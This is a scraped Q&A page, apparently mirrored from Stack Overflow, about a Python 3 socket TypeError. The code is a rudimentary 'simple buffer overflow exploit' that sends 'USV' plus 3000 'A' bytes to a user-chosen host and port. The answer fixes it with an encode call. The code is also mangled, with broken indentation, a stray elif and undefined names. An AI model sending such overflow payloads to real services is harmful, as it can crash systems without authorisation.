简体   繁体   中英

TypeError: 'str' does not support the buffer interface – Python3 sockets

I recently been working on someone's project. While trying to import a simple buffer overflow exploit, I ran into a problem I cannot seem to find a solution. I've searched on StackOverflow, asked LiveOverFlow (Heh. Looking for answers from 2 Overflows about a overflow.) Below will be the code of the overflow and 2 pictures with the errors.

import sys
import socket






def cmdline():
   sys.stdout.write(RED)
   cmdinput = input("NSEFW >> ") #<---- PS1





   def ExploitSimpleBufferOverflow():

    sys.stdout.write(CYAN2)
    host = input("Enter the host IP: ")
    port = int(input("Enter the host port: "))
    sys.stdout.write(RESET)

    for carg in sys.argv:
     if carg == "-s":
      argnum = sys.argv.index(carg)
      argnum += 1
      host = sys.argv[argnum]

     elif carg == "-p":
      argnum = sys.argv.index(carg)
      argnum += 1
      port = sys.argv[argnum]

     buffer = "\x41"* 3000
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     s.connect((host,port))
     s.send("USV" + buffer + "//r//n//r")
     s.close
     print('Exploit send succesfully.\n', end="")



    #Lists all avaible exploits.



    elif cmdinput.lower() == "list exploits":
        sys.stdout.write(RESET)
        print('\n\nto use an exploit, type "use <name>"\n', end="")
        print(' \n', end="")
        sys.stdout.write(WHITE)
        print('\nSimple_Buffer_Overflow (esbo)     ', end="")
        sys.stdout.write(RED)
        print('[M]  ', end="")
        sys.stdout.write(BLUE)
        print('[D]', end="")
        print(' \n', end="")



     #Callout for SimpleBufferOverflow exploit.



    elif cmdinput.lower() == "use exploit_simple_buffer_overflow":
        ExploitSimpleBufferOverflow()

    elif cmdinput.lower() == "use esbo":
        ExploitSimpleBufferOverflow()

Error without encode. Error with encode.

You need not just buffer to be in bytes, but the header and trailer strings as well. This should work:

s.send(("USV" + buffer + "//r//n//r").encode('utf-8'))

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM